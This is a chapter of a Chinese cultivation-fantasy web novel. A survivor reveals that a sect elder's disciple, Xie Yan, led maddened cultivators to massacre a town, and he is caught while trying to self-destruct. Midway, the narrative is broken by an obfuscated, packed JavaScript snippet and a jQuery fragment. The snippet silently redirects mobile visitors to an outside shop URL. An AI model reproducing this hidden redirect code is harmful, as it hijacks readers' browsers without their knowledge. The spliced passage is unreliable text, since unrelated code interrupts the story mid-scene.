“事情发生之前,这里有什么异常吗?”
李茂垂眸仔细想了一阵,有些迟疑地摇了摇头:“……没有,在此之前,锦安镇一片祥和。”
沈知微眸光微暗,周身气息骤然沉了下来。
旁边的少年沉声道:“会不会只是为了引开你?”
前者没有出声,似在考虑,若真是这样,那人一定会再次出手,而且会比这次更加严重。
“不过,那几个走火入魔的修士我认识……”
李茂被沈知微周身的低气压逼地喘不过气,本来摇摆不定,想在旁边当好一个背景板,又怕她事后追责他知情不报,斟酌许久还是硬着头皮开了口。
她眸子微挑,目光落在他身上,示意他继续往下说。
“那几个修士修为不高,曾是我宗的外门弟子,但因欺凌门内弟子被逐出。”
“他们都接触过谁?”
“这……不清楚,他们被逐出宗门已有半年之久。”
这样几个劣迹斑斑的修士,宗门自然不过再关注他们的行踪。
李茂被她看的不自在,愣了片刻,募地灵光一闪:“不过他们在宗门时就常常混迹黑市之中。”
黑市……
“长老!”
思绪骤然被打断,沈知微的注意力立即落在发出声音的方向。
几个清理现场的弟子从坍塌的房屋里面抬出来一个浑身是血的人。
他们一边跑一边道:“这还有一个活口。”
李茂快步走过去,伸手探了探这人都鼻息。
还活着。
这是个女子,看起来也就十八九岁的年纪,浑身是血,身上有着不同程度的伤口。
李茂急忙朝远处喊道:“大夫呢,快过来,这还有活人。”
其中一个大夫听见声音带着药箱赶了过来,蹲下身伸手摸了下脉象,又翻开她的眼皮看了看,手指在她颈侧停了好一会儿,最终缓缓摇头。
“伤势太重了,我治不了。”
李茂的心沉了下去,他们宗门并没有丹修,丹修又吃天赋又费钱,这里偏僻再加上灵气稀薄,但凡有点天赋的人都跑出去了。
因此,时至今日他们得了病还是凡人的治法。
他将目光转向沈知微,嘴唇动了动,想开口求药,又觉得自己没有立场。
但人还没死,他也不能眼睁睁看着一个十五六岁的姑娘就这么断了气,犹豫来犹豫去,最终他还是豁了出去,求救般望向沈知微。
“宋……”
他话还没说完,她掌心翻覆间一枚圆润饱满的丹药已浮在指尖,即使完全不了解丹药的品阶的凡人也能看得出这东西绝非凡品。
指尖捻出一丝灵力,裹着丹药送入那女子口中,灵力托着药力在喉间化开,顺着残破的经脉缓缓渗透。
不过片刻,女子惨白的脸便红润起来。
女子喉咙里漫出一声轻咳,睫毛颤了颤,缓缓撑开眼皮。
她像还没弄明白自己身在何处,只是本能地眨了眨眼,将模糊的视线一寸一寸地对焦。
面前是灰蒙蒙的天,空气里弥漫着浓重的血腥气。
她动了动嘴唇,声音干涩得几乎听不清:“我还活着……”
视线朦胧地扫过四周,女子眼底并没有劫后余生的庆幸,只有一片麻木:“谢晏在哪?”
李茂皱眉:“你认识我的徒弟?”
谢晏是他前两年收的弟子,天赋在这片灵气稀薄的偏僻地界算得上数一数二,性子沉稳,修炼也刻苦。
李茂膝下无子,几乎是把这孩子当亲生儿子在栽培,指望他将来能撑起整个宗门。
话音刚落,江观雪的目光机械式地移到李茂脸上:“谢晏去修炼了?”
锦安镇人人都知道李茂为人仁善,江观雪自然也认得他。
她猛地呛咳起来,喉头涌上一股腥甜,却不管不顾地挣扎着要坐起来。
沈知微蹲下身,伸手扶住她的肩,让她靠在自己身上。
身上的伤疼得她整个人都在发抖,额头的冷汗混着血污往下淌,但她咬着牙,还是把话说了出来。
“是谢晏……是他把那些人引到镇子里来的……”
听到这句话,在场三人神色皆是一变。
李茂还没来得及开口,沈知微已经抬头,目光凌厉地扫向周围:“谢晏在哪?”
她喊话的一瞬,四周瞬间死寂。
过了片刻,角落里才有个弟子支支吾吾地站出来:“方才这位姑娘醒的时候,谢师兄说落了东西在宗门,先回去了……”
萧今安眸光一沉,瞬间想起方才那个行迹可疑的男子,立刻看向沈知微:“我去把他抓回来。”
两人对视一眼,沈知微颔首。
萧今安不再多言,立即御剑追去。
她收回视线,低头看向怀中气息虚弱的少女:“你知道什么,慢慢说。”
一旁的李茂也皱着眉,显然是在等着她的下文。
江观雪压下心底的苦涩,向两人娓娓道来。
三年前,她偶然救下了身受重伤,四处逃亡的谢晏。
当时谢晏说自己被仇家追杀,走投无路才逃到这里。
江观雪本不想招惹是非,打算等他伤势好转一些便让他离开。
可谢晏为了留下,竟然亲手划烂自己的脸,戴上面具,执意不肯走,还再三保证绝不会连累她,没人能认出他。
见他行事极端,江观雪不敢再逼迫,只能默许他留下。
江观雪自幼无父无母,独自一人在小镇谋生。
谢晏的到来,倒是让冷清的家里多了点人气。
朝夕相处之下,两人慢慢生出情愫。
她原本就无嫁娶的心思,想着就这样和他安稳度日,平平淡淡过完一生。
可安稳日子仅仅维持了一年,她的身体就突然垮了,一日比一日虚弱,最后卧病在床,连走路都做不到。
谢晏握着她的手,说要出去做工挣钱,攒钱给她治病。
这一去,便是整整两年。
这两年里,他时常寄银两回来,人却从来没回来过。
江观雪只当他忙碌,一直默默等着他归来。
可直到前段时间他回来,带给她的却是他已经和别人定下婚约的消息。
江观雪起初难过了许久,可转念一想,两年下来,治病的钱都是他所出,两人也算两不相欠。
她的身体也在慢慢调养下好转,从卧床不起,到能够慢慢走动。
她便打算放下过往,当做大梦一场。
本以为从此各自安好,再无瓜葛。
直到前两天,她亲眼看见谢晏,引着那几个走火入魔的修士,一步步走进了锦安镇。
他看着她,说了句对不起。
紧接着,便是灭顶之灾。
那些修士疯了似的,在整个小镇大肆屠戮。
万幸当时附近有几名散修,拦下了几个失控的修士。
她虽被打成重伤,却也侥幸留了一口气,昏死在了废墟之中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773530|209969||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>再醒来时就是方才。
听完这番话,李茂浑身僵硬,脸上写满了难以置信。
他引以为傲的徒弟,竟是这场灾难的元凶……
当年收徒之时,谢晏跟他说过,凡尘里已无亲人。
李茂念在他可怜,亲手替他牵线,将他介绍给了另一位长老的徒弟。
那姑娘性子温婉,和谢晏站在一起,怎么看都是一桩好姻缘。
事情也确实如他期望的那样发展了下去,两人相恋,定下婚约,等明年开春便办喜事。
宗门上下人人称赞,都说是天作之合。
可没想到一切都是假的。
……
没过多久,远处一道身影折返。
萧今安去得快,回来得更快。
众人抬眼望去,只见少年单手抓着一名修士的后颈,硬生生将人押了回来。
被擒的正是谢晏。
他的一身衣服凌乱不堪,浑身被鲜血浸透,整条手臂还在不断渗血。
可谢晏早已筑基,论境界,远高于只有炼气中期的萧今安。
按理来说,就算不敌,也绝不至于被一名低阶修士生擒,更不可能伤成这副模样。
沈知微眼底瞬间掠过一丝异色。
谢晏趴在满地血污之中,浑身剧痛,他手脚并用地撑着地面,狼狈爬向不远处虚弱的江观雪。
慌乱之下,他口不择言,声音嘶哑得不成样子。
“观雪……对不起,对不起!”
“我和她订婚不是真心的,我只是想借宗门资源多攒银钱,我想攒够了把你的病治好!”
“你原谅我这一次,帮我求求情,好不好?”
江观雪静静看着他,看着他这副像狗似的姿态,心底只剩一片冰凉。
她气息微弱,却字字珠玑。
“为了我?”
“那你为什么要引他们来镇上?为什么要……灭口?”
“我何曾亏欠过你?”
她抬眼,扫过身后满目疮痍,尸横遍野的小镇。
“全镇百姓何其无辜?”
几句话,堵得谢晏哑口无言。
他身躯猛地一颤,脸色彻底惨白。
慌忙转头望向身旁的李茂,心里还抱着最后一丝侥幸。
师父向来待他如同亲子,平日里更是照顾有加,一定会出手保下自己。
对,一定不会不管他的。
可抬头对上李茂的视线时,只能看到那双眼睛里的失望。
谢晏彻底慌了,也彻底绝望了。
他知道,自己今天必死无疑。
求生无望,辩解无用。
眼底骤然泛起赤红,他猛地咬紧牙关,丹田灵力瞬间翻涌……
他要自爆!
与其被审讯、受酷刑、身败名裂而死,不如就此自爆神魂,一了百了!
可他念头刚起,体内灵力刚要失控炸开。
沈知微眸光微冷,指尖轻轻一握。
无声无息的灵力骤然禁锢四方。
翻涌着的灵力瞬间被死死锁在他丹田之内,半点动弹不得。
谢晏浑身一僵,所有自爆的力量硬生生被压回体内,原本要膨胀开的经脉被压制之后剧痛无比,却连一丝灵力都泄不出去。
自爆,被她随手彻底扼杀。
沈知微居高临下看着狼狈颤抖的他,声音平静,却带着不容抗拒的威压:
“说。”
“那七名走火入魔的修士,到底怎么回事?”